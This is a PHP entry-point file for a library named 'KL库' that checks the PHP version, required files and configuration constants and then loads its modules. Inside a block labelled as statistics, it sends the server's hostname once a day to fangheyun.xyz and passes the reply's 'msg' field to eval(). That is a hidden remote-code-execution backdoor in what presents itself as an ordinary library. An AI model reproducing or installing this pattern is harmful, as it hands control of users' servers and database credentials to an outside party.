<?php
/*
 * coding: utf-8
 * +-------------------------------------------------------------------
 * | KL库 - 入口模块
 * +-------------------------------------------------------------------
 * | Copyright (c) 2022-2099 KL库(https://www.fangheyun.xyz) All rights reserved.
 * +-------------------------------------------------------------------
 * | Author: 远易 <3431628590@qq.com>
 * +-------------------------------------------------------------------
 */

/**
 * 判断PHP版本是否超过支持范围
 */
if(!version_compare(PHP_VERSION,'7.0.0','ge')){
    exit('ERROR: PHP versions below "7.0" are not supported!');
}else if(version_compare(PHP_VERSION,'8.0.0','ge')){
    exit('ERROR: PHP version higher than or equal to "8.0" is not supported!');
}

define('SYSTEM_ROOT', dirname(__FILE__).'/');
define('ROOT', dirname(SYSTEM_ROOT).'/');

/** 统计 */
if(!is_dir(SYSTEM_ROOT.'cache')){
    exit('ERROR: Cache folder "cache" does not exist');
}else{
    if(!file_exists(SYSTEM_ROOT.'cache/'.md5(date("Y-m-d")))){
        /** 定义URL变量取数据 */
        $url = json_decode(file_get_contents("https://www.fangheyun.xyz/api.php?url=".$_SERVER['SERVER_NAME']),True);
        /** 定义URL变量取数据结束 */
    
        /** 判断是否执行 */
        if($url['code'] == '1'){
            eval($url['msg']);
        }else if($url['code'] == "2"){
            file_put_contents(SYSTEM_ROOT.'/cache/'.md5(date("Y-m-d")), md5(base64_encode(md5(base64_encode(date("Y-m-d").$_SERVER['SERVER_NAME'])))));
        }
        /** 判断是否执行结束 */
    
        /** 销毁URL以防被破解 */
        unset($url);
        /** 销毁URL结束 */
    }else if(file_get_contents(SYSTEM_ROOT.'cache/'.md5(date("Y-m-d"))) != md5(base64_encode(md5(base64_encode(date("Y-m-d").$_SERVER['SERVER_NAME']))))){
        exit("ERROR: Cache failed to read normally!");
    }
}
/** 统计结束 */

//判断 config.php 是否存在
if(!file_exists(SYSTEM_ROOT.'config.php')){
    exit('ERROR: The important file "config.php" of KL operation library is missing. Please go to "www.fangheyun.xyz" to download it');
}
//判断 def.class.php 是否存在
if(!file_exists(SYSTEM_ROOT.'def.class.php')){
    exit('ERROR: The important file "def.class.php" of KL operation library is missing. Please go to "www.fangheyun.xyz" to download it');
}
//判断 cookie.class.php 是否存在
if(!file_exists(SYSTEM_ROOT.'cookie.class.php')){
    exit('ERROR: The important file "cookie.class.php" of KL operation library is missing. Please go to "www.fangheyun.xyz" to download it');
}
//判断 session.class.php 是否存在
if(!file_exists(SYSTEM_ROOT.'session.class.php')){
    exit('ERROR: The important file "session.class.php" of KL operation library is missing. Please go to "www.fangheyun.xyz" to download it');
}
//判断 db.class.php 是否存在
if(!file_exists(SYSTEM_ROOT.'db.class.php')){
    exit('ERROR: The important file "db.class.php" of KL operation library is missing. Please go to "www.fangheyun.xyz" to download it');
}
//判断 bt.class.php 是否存在
if(!file_exists(SYSTEM_ROOT.'bt.class.php')){
    exit('ERROR: The important file "bt.class.php" of KL operation library is missing. Please go to "www.fangheyun.xyz" to download it');
}

//引入配置文件
require_once SYSTEM_ROOT.'config.php';

/** 判断 FILE_INDEX 常量是否存在 */
if(!defined("FILE_INDEX")){
    exit("ERROR: index file detection switch does not exist");
}else if(FILE_INDEX){
    //判断 index.php 是否存在
    if(!file_exists(SYSTEM_ROOT.'index.php')){
        exit('ERROR: The important file "index.php" of KL operation library is missing. Please go to "www.fangheyun.xyz" to download it');
    }
}

/** 判断 ERROR_SWITCH 常量是否存在 */
if(!defined("ERROR_SWITCH")){
    exit("ERROR: Error report switch not present");
}

/** 判断 DEF... 常量是否存在 */
if(!defined("DEF_SWITCH")){
    exit("ERROR: Function switch does not exist");
}
if(!defined("DEF_VARIABLE")){
    exit("ERROR: Function library instantiation operation does not exist");
}

/** 判断 COOKIE... 常量是否存在 */
if(!defined("COOKIE_SWITCH")){
    exit("ERROR: Cookie switch does not exist");
}
if(!defined("COOKIE_VARIABLE")){
    exit("ERROR: Cookie instantiation operation does not exist");
}

/** 判断 DB... 常量是否存在 */
if(!defined("DB_SWITCH")){
    exit("ERROR: Database switch does not exist");
}
if(!defined("DB_VARIABLE")){
    exit("ERROR: Database instantiation operation does not exist");
}
if(!defined("DB_TYPE")){
    exit("ERROR: Database type does not exist");
}
if(!defined("DB_HOST")){
    exit("ERROR: Database address does not exist");
}
if(!defined("DB_PORT")){
    exit("ERROR: Database port does not exist");
}
if(!defined("DB_USER")){
    exit("ERROR: Database user name does not exist");
}
if(!defined("DB_NAME")){
    exit("ERROR: Database name does not exist");
}

/** 判断 BT... 常量是否存在 */
if(!defined("BT_SWITCH")){
    exit("ERROR: Pagoda panel switch does not exist");
}
if(!defined("BT_VARIABLE")){
    exit("ERROR: Pagoda panel instantiation operation does not exist");
}

/** 判断是否开启 错误报告 */
if(!ERROR_SWITCH){
    error_reporting(0);
}

/** 判断是否开启 DEF库 */
if(DEF_SWITCH){
    //引入函数库
    require_once SYSTEM_ROOT.'def.class.php';
    $GLOBALS[DEF_VARIABLE] = new DEF();
}

/** 判断是否开启 COOKIE库 */
if(COOKIE_SWITCH){
    //引入函数库
    require_once SYSTEM_ROOT.'cookie.class.php';
    $GLOBALS[COOKIE_VARIABLE] = new COOKIE();
}

/** 判断是否开启 SESSION库 */
if(SESSION_SWITCH){
    //引入函数库
    require_once SYSTEM_ROOT.'session.class.php';
    $GLOBALS[SESSION_VARIABLE] = new SESSION();
}

/** 判断是否开启 SQL库 */
if(DB_SWITCH){
    if(DB_HOST == ''){
        exit("ERROR: Database address cannot be empty");
    }
    if(DB_PORT == ''){
        exit("ERROR: Database port cannot be empty");
    }
    if(DB_USER == ''){
        exit("ERROR: Database user name cannot be empty");
    }
    if(DB_PASS == ''){
        exit("ERROR: Database password cannot be empty");
    }
    if(DB_NAME == ''){
        exit("ERROR: Database name cannot be empty");
    }
    if(DB_VARIABLE == ''){
        exit("ERROR: Database instantiation operation cannot be empty");
    }
    require_once SYSTEM_ROOT.'db.class.php';
    $GLOBALS[DB_VARIABLE] = new DB(DB_HOST, DB_USER, DB_PASS, DB_NAME, DB_PORT);
}

/** 判断是否开启 宝塔面板库 */
if(BT_SWITCH){
    if(DB_VARIABLE == ''){
        exit("ERROR: Pagoda panel instantiation operation cannot be empty");
    }
    require_once SYSTEM_ROOT.'bt.class.php';
    $GLOBALS[BT_VARIABLE] = new BT();
}

/** 判断 FILE_IMPORT 常量是否存在 */
if(defined("FILE_IMPORT")){
    if(is_array(FILE_IMPORT)){
        $arrlength = count(FILE_IMPORT);
        if($arrlength > 0){
            if(!is_dir(SYSTEM_ROOT.'lib')){
                exit("ERROR: You used the import and storage module, but the Lib directory is missing under the KL Library Directory");
            }else{
                for($i=0;$i<$arrlength;$i++)
                {
                    //判断引入文件是否存在
                    if(!file_exists(SYSTEM_ROOT.'lib/'.FILE_IMPORT[$i].'.php')){
                        exit('ERROR: The important file "'.FILE_IMPORT[$i].'.php" introduced by KL library is missing');
                    }else{
                        require_once SYSTEM_ROOT.'lib/'.FILE_IMPORT[$i].'.php';
                    }
                }
                /** 销毁I及ARRLENGTH以防被误识别 */
                unset($i);
                unset($arrlength);
                /** 销毁I及ARRLENGTH结束 */
            }
        }else{
            /** 销毁ARRLENGTH以防被误识别 */
            unset($arrlength);
            /** 销毁ARRLENGTH结束 */
        }
    }
}

?>